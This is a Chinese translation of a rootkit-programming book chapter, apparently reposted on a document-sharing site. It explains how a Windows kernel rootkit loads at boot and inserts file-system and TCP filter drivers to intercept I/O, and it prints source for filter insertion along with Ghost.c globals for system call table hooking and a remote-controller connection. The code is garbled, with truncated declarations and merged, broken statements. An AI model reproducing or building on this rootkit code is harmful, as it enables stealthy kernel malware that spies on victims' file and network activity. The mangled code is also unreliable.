1、 组里。因为on-demand loading比Autoloading 更具有指导意义,所以在讲解时继续使用 SERVICE_ DEMAND_START 和“net start mydevicedriver”,但我们在本章的文件目录下提供了另一个新的SCMLoader(Wrox/Wiley )供大家下载,这个升级版的loader允许rootkit在启动的时候自动加载,应该用于最终发行版rootkkit 的插入。当驱动自动加载的时候,加载的顺序由HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlServiceGroupOrderList 的值来决定。
2、如果你打开注册表查看这个值,你会看到这是一个 REG_MULTI_SZ 类型的值。(注:下面两张图是译者加入的)这里面包含了几十组的值。要进行文件系统过滤,必须要把一个过滤驱动插入到 “FSFilter Bottom” 组的后面。要想进行更多的过滤, 在“Filter”组后面插入自己的过滤驱动就行了。这样即使是高级的网络过滤也没问题,因为TCP,UDP 和 Raw IP 这些驱动是在普通的驱动之前被加载的。虽然在本章里谈到的网络过滤驱动可以作为一个on-demand 设备驱动被加载和卸载,但是我们的主要目的不是卸载。要注意的是,在卸载网络过滤驱动之前必须要保证所有在安装了该过滤驱动之后打开的网
3、络连接都已经被关闭,这是因为网络过滤栈上任何一个过滤器都有可能引用了该网络过滤驱动,直接卸载该过滤驱动很可能会导致系统崩溃,因此在卸载笫7章的rootkit之前必须把所有在安装该rootkit之后打开的网络软件都关闭掉。另外,为了便于进行rotokit加载和卸载,本书剩下的代码例子将会跳过(或注释掉)网络过滤驱动部分。文件系统过滤驱动可以插入到以 “DosDevicesX:” 作设备名的所有驱动或者其中的一个驱动中。其中 X是目标设备所在的驱动器号。这种文件过滤驱动所使用的技术和网络过滤驱动稍有不同,网络过滤驱动可以使用 IoAttachDevice 函数来附加到 “DeviceTcp”, “
4、DeviceUdp” 或者 “DeviceRawIP”上, 而文件过滤驱动必须使用 IoAttachDeviceToDeviceStack 以保证能够正确地插入到设备栈中。要注意的是在版本比较老的DDK里, IoAttachDeviceToDeviceStack 会有一些BUG可能会导致系统崩溃,所以我们要尽量使用新版的IoAttachDeviceToDevice StackSafe 函数。在本书中,因为使用IoAttachDeviceToDeviceStack函数能减少在链接时产生“unknown external function”错误的可能性,所以本书代码使用了这个老版本的函数(虽然新版
5、的函数在这里也以很好的工作),如果使用的是新版本的DKK来编译可以简单的把旧版本的函数注释掉然后把新版本的函数加进来。图 7-1 显示了文件系统过滤的结构。Figure 7-1在正常情况下,文件过滤驱动会附加到所有已经挂载的磁盘上,这就要求过滤器跟踪哪个新的设备附加到了哪个驱动栈上。为了帮助驱动来进行跟踪,设备可以预留一个设备扩展空间,设备扩展是由用户指定的一个数据结构,它会随着I/O 请求包一起传递,创建一个包含“PDEVICE_OBJECT AttachedToDeviceObject”成员的设备扩展可以解决究竟是哪个驱动附加到了哪个设备的难题,但是本书中的rootkit只会监视 C盘,所
6、以这里不需要用到设备扩展。另一个对于文件系统过滤需要关心的是快速 I/O。文件系统过滤器要依赖于快速I/O,就像依赖传统的 I/O请求包一样,快速I/O调用是为了在文件缓存中进行快速同步I/O操作而设计的,在文件过滤器中它必须要被设置好。最低限度地,rootkit为在ntddk.h中定义的21个快速分发例程提供了连接接口。本书附带的源码镜像里实现的所有有快速I/O 连接接口都通过一个可以用来动态地对快速I/O文件进行监视的filterFastIo函数把活动文件对象收集起来。正如上面所说的,网络过滤驱动的插入要比文件过滤驱动的插入简单一些,我们要做的只是创建一个新的设备并把它附加到一个现存的网络
7、设备栈中。虽然本章中的例子保是附加了“DeviceTcp”, 但我们同样可以很容易地附加到其它的任何一个网络设备栈上。网络过滤器如图7-2所示7-2综合式过滤驱动由前面两个分离的过滤驱动可以看到,我们可能同时需要这两个驱动,但事实上并非如此。本章中的rootkit会使用在笫5章中所编写的分发例程来同时监视别的程序发出的命令和为过滤设备而设计的I/O请求包,这样使得在一个rootkit内可以很方便地同时包含文件过滤器和网络过滤器,综合式过滤器如图7-3所示7-3因为分发例程已经添加到rootkit里,截获I/O请求包的机制已经有了,剩下要做的就是把一个新创建的设备插入到一个现存的设备栈中、为文件
8、系统过滤提供快速I/O例程、增加派遣例程的截获数量并且在OnDispatch例程里进行处理。要进行彻底的过滤,就要把所有的派遣例程都路由到OnDispatch 例程里,这是通过在DriverEntty里用一个for循环来把所有的派遣例程注册为OnDispatch(从0到IRP_MJ_MAXIMUM_FUNCTION)来实现的。因此,OnDispatch 例程不仅要修改需要处理的I/O请求包,还要让那不需要进行处理的I/O请求包正常地通过。一个实例为了给rootkit增加网络过滤和文件过滤功能,需要修改四个文件并且要创建两个新文件。新文件是filterManager.h和filterManage
9、r.c。要修改的文件是Ghost.c,IoManager.c, IoManager.h,和 SOURCES。新文件如下:filterManager.cfilterManager.H需要修改的文件如下:Ghost.cIoManager.cIoManager.hSOURCES下面是代码:filterManager。h文件filterManager.h简单的定义了三个函数,这三个函数都在filterManager.c里面实现。/ Copyright Ric Vieler, 2006/ Support header for filterManager.c#ifndef _FILTER_MANAGER_
10、H_#define _FILTER_MANAGER_H_NTSTATUS insertFileFilter(PDRIVER_OBJECT pDriverObject, PDEVICE_OBJECT* ppOldDevice, PDEVICE_OBJECT* ppNewDevice, wchar_t* deviceName);NTSTATUS insertNetworkFilter(PDRIVER_OBJECT pDriverObject,void removeFilter(PDEVICE_OBJECT* ppOldDevice, PDEVICE_OBJECT* ppNewDevice);#en
11、diffilterManager.c实现了下面的函数:insertFileFilter - 用来插入文件系统过滤器insertNetworkFilter - 用来插入网络过滤器removeFilter - 用来移除网络和文件过滤器/ filterManager/ Attach to file and network drivers#include ntddk。hGhost。 wchar_t* deviceName) NTSTATUS status; UNICODE_STRING unicodeDeviceName; HANDLE fileHandle; IO_STATUS_BLOCK stat
12、usBlock = 0 ; OBJECT_ATTRIBUTES objectAttributes = 0 ; PFILE_OBJECT fileObject; / Get the device for the specified drive RtlInitUnicodeString( &unicodeDeviceName, deviceName ); InitializeObjectAttributes( &objectAttributes, &unicodeDeviceName, OBJ_CASE_INSENSITIVE, NULL, NULL ); status = ZwCreateFil
13、e( &fileHandle, SYNCHRONIZE|FILE_ANY_ACCESS,statusBlock, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE, 0 ); if( !NT_SUCCESS( status ) ) return status; status = ObReferenceObjectByHandle( fileHandle, FILE_READ_DATA, KernelMode, (PVOID *)&fileObj
14、ect, ZwClose( fileHandle ); *ppOldDevice = IoGetRelatedDeviceObject( fileObject );*ppOldDevice ) ObDereferenceObject( fileObject ); return STATUS_ABANDONED; / Create a new device status = IoCreateDevice( pDriverObject, (*ppOldDevice)-DeviceType, FALSE, ppNewDevice ); / Initialize the new device if(
15、(*ppOldDevice)-Flags & DO_BUFFERED_IO ) (*ppNewDevice)-Flags |= DO_BUFFERED_IO;if( (*ppOldDevice)- DO_DIRECT_IO )Flags |= DO_DIRECT_IO;Characteristics & FILE_DEVICE_SECURE_OPEN )Characteristics |= FILE_DEVICE_SECURE_OPEN; / Attach the new device to the old device / status = IoAttachDeviceToDeviceSta
16、ckSafe( *ppNewDevice, *ppOldDevice,ppOldDevice ); *ppOldDevice = IoAttachDeviceToDeviceStack( *ppNewDevice, *ppOldDevice ); if( *ppOldDevice = NULL ) / Prevent unload if load failed IoDeleteDevice( *ppNewDevice ); *ppNewDevice = NULL; / Clean up and return error return STATUS_NO_SUCH_DEVICE; return
17、STATUS_SUCCESS; NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING unicodeName = 0 ; FILE_DEVICE_UNKNOWN, TRUE, (PDEVICE_OBJECT)(*ppNewDevice)- / Attach the new deviceunicodeName, deviceName ); status = IoAttachDevice( *ppNewDevice,unicodeName, ppOldDevice ); PDEVICE_OBJECT* ppNewDevice) IoDetachDevic
18、e( *ppOldDevice );在这三个函数里,insertFileFilter 需要的解释的地方最多。因为insertNetworkFilter是insertFileFilter的简化版本,而 removeFilter 仅仅只有两行代码。函数insertFileFilter 需要两个指向指针的指针和一个设备名作为参数。其实我也不怎么喜欢指向指针的指针,但没办法,因为这是C语言,它没有引用操作符。不管怎么样,该指针指向的是设备对象的指针,一个是用来保存新创建的设备对象,另一个是要附加到的目标对象。一旦新创建的设备附加到了现存的设备里,用来创建新设备的驱动对象的I/O映射(pDriverOb
19、ject- MajorFunction) 将开始最先收到要发送给设备的IRP。Ghost.c 经过修改后提供了性能更好的过滤功能。这里增加了4个新的设备指针:oldFileSysDevicenewFileSysDeviceoldNetworkDevicenewNetworkDevice这些设备指针将会由在DriverEntry里调用的insertFileFilter 和 insertNetworkFilter来进行初始化,并且会在OnUnload中调用removeFilter来释放。另外,所有在pDriverObject-MajorFunction数组里的派遣例程指针都被设置成OnDispat
20、ch,pDriverObject-FastIoDispatch 成员被设置成一个新创建的分发函数。/ GhostfileManager。configManager。hookManager。IoManager。commManager。#pragma code_seg()/ Global version dataULONG majorVersion;ULONG minorVersion;/ Global base addressPVOID kernel32Base = NULL;/ Global state dataBOOL allowEncryption = TRUE;/ Global devi
21、cesPDEVICE_OBJECT oldFileSysDevice = NULL;PDEVICE_OBJECT newFileSysDevice = NULL;PDEVICE_OBJECT oldNetworkDevice = NULL;PDEVICE_OBJECT newNetworkDevice = NULL;/ Used to circumvent memory protected System Call TablePVOID* NewSystemCallTable = NULL;PMDL pMyMDL = NULL;/ Pointer(s) to original function(
22、s) - before hookingZWMAPVIEWOFSECTION OldZwMapViewOfSection;ZWPROTECTVIRTUALMEMORY OldZwProtectVirtualMemory;VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) UNICODE_STRING deviceLink = 0 ; PFAST_IO_DISPATCH pFastIoDispatch; / remove filters if( newFileSysDevice ) removeFilter( &oldFileSysDevice, &n
23、ewFileSysDevice ); if( newNetworkDevice )oldNetworkDevice, &newNetworkDevice ); / free fast I/O resource pFastIoDispatch = pDriverObject-FastIoDispatch; pDriverObject-FastIoDispatch = NULL; if( pFastIoDispatch ) ExFreePool( pFastIoDispatch ); / Close the connection to remote controller CloseTDIConnection(); / remove device controllerdeviceLink, GHOST_DEVICE_LINK_NAME ); IoDeleteSymbolicLink( &deviceLink ); IoDeleteDevice( theDriverObject-DeviceObject ); DbgPrint(comint32: Device controller removed。); / Unhook any hooked functions and return the Memory Descriptor List if( NewSystemCallTable )
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1